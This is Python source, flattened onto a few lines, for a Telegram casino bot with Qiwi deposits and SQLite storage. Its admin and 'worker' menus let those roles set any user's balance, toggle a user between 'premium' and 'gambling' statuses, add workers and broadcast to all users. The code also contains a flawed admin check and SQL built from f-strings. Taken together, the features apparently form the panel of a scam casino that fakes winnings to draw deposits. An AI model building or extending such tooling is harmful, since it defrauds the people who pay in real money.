def admin_rassilka2(message, rassilka): con = sqlite3.connect("dannie_2.db") cur = con.cursor() if message.text == "Да": bot.send_message(message.from_user.id, "Рассылка началась", reply_markup=keyboard_admin()) cur.execute("SELECT id FROM users") id = cur.fetchall() for id in id: for id in id: try: bot.send_message(id, f"{rassilka}") time.sleep(1) except: pass from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Рассылка отменена", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def del_workers(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: id = int(message.text) cur.execute(f"DELETE FROM workers WHERE id = {id}") con.commit() bot.send_message(message.from_user.id, "Воркер успешно удален", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def get_text_message(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() balance = get_balance(message) referals = get_referals(message) ref_balance = get_ref_balance(message) ref_link = get_ref_link(message) inf_profil = get_inf_profil(balance, referals, ref_balance, ref_link) cur.execute(f"select count(*) from workers where id = {message.chat.id}") if message.text == "Играть": bot.send_message(message.from_user.id, "Отправьте любое сообщение, чтобы продолжить") bot.register_next_step_handler(message, play_casino) elif message.text == "Пополнить": bot.send_message(message.from_user.id, "Выберите сумму пополнения", reply_markup=keyboard_balance_top_up_amount()) elif message.text == "Проверить оплату": user_id = message.chat.id bill_id = _get_user_bill_id(message.from_user.id) if bill_id is None: bot.send_message(user_id, "Вы не начинали оплату!") return bill_status = cashier.check_bill(bill_id) if bill_status.is_paid: money = bill_status.amount.value cur.execute(f"UPDATE users SET status = {1} WHERE id = {user_id}") con.commit() cur.execute(f"UPDATE users SET last_popolnenie = {money} WHERE id = {user_id}") con.commit() con.close() _top_up_balance(user_id, bill_status.amount.value) bot.send_message(admin_1, f"На Ваш Киви Кошелёк поступило пополнение!") bot.send_message(admin_2, f"На Ваш Киви Кошелёк поступило пополнение!") bot.send_message(user_id, f"Ваш баланс успешно пополненен и состаляет: " f"{_get_user_balance(user_id)}") _reset_bill_id(message.chat.id) else: bot.send_message(user_id, "Вы не оплатили счёт!❌") elif message.text == "Вывести": bot.send_message(message.from_user.id, f"{inf_profil}") bot.send_message(message.from_user.id, "Введите сумму для вывода", reply_markup=keyboard_vivod()) bot.register_next_step_handler(message, vivod_money_1) elif message.text == "Админ" and message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Вы перешли в меню админа", reply_markup=keyboard_admin()) bot.register_next_step_handler(message, get_text_message_admin) elif message.text == "Воркер" and cur.fetchone()[0] != 0: bot.send_message(message.from_user.id, "Вы перешли в меню воркера", reply_markup=keyboard_worker()) bot.register_next_step_handler(message, get_text_message_worker) elif message.text == "Назад": bot.send_message(message.from_user.id, "🔙 Вы вернулись в главное меню", reply_markup=keyboard_osnova())
def chan_balance_2(message, id): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: balance = int(message.text) id = id cur.execute(f"UPDATE users SET balance = {balance} WHERE id = {id}") con.commit() if message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Баланс успешно изменен", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Баланс успешно изменен", reply_markup=keyboard_worker()) from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker) except: if message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Вы вернулись в меню воркера", reply_markup=keyboard_worker()) from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker)
def chan_balance(message): try: id = int(message.text) bot.send_message(message.from_user.id, "Введите, какой баланс сделать человеку") bot.register_next_step_handler(message, chan_balance_2, id) except: if message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Вы вернулись в меню воркера", reply_markup=keyboard_worker()) from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker)
def ins_workers(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: id = int(message.text) cur.execute(f"INSERT INTO workers (id) VALUES (\"{id}\")") con.commit() bot.send_message(message.from_user.id, "Воркер успешно добавлен", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def chan_status_2(message, id): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: status = int(message.text) id = id if status == 0 or status == 1 or status == 2: try: cur.execute(f"UPDATE users SET status = {status} WHERE id = {id}") con.commit() bot.send_message(message.from_user.id, "Статус успешно изменен", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Такой статус невозможно сделать", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def chan_status(message): try: id = int(message.text) bot.send_message(message.from_user.id, "Введите, какой статус сделать человеку (0 - Премиум, 1 - Азарт) * Лучше вообще не трогать") bot.register_next_step_handler(message, chan_status_2, id) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)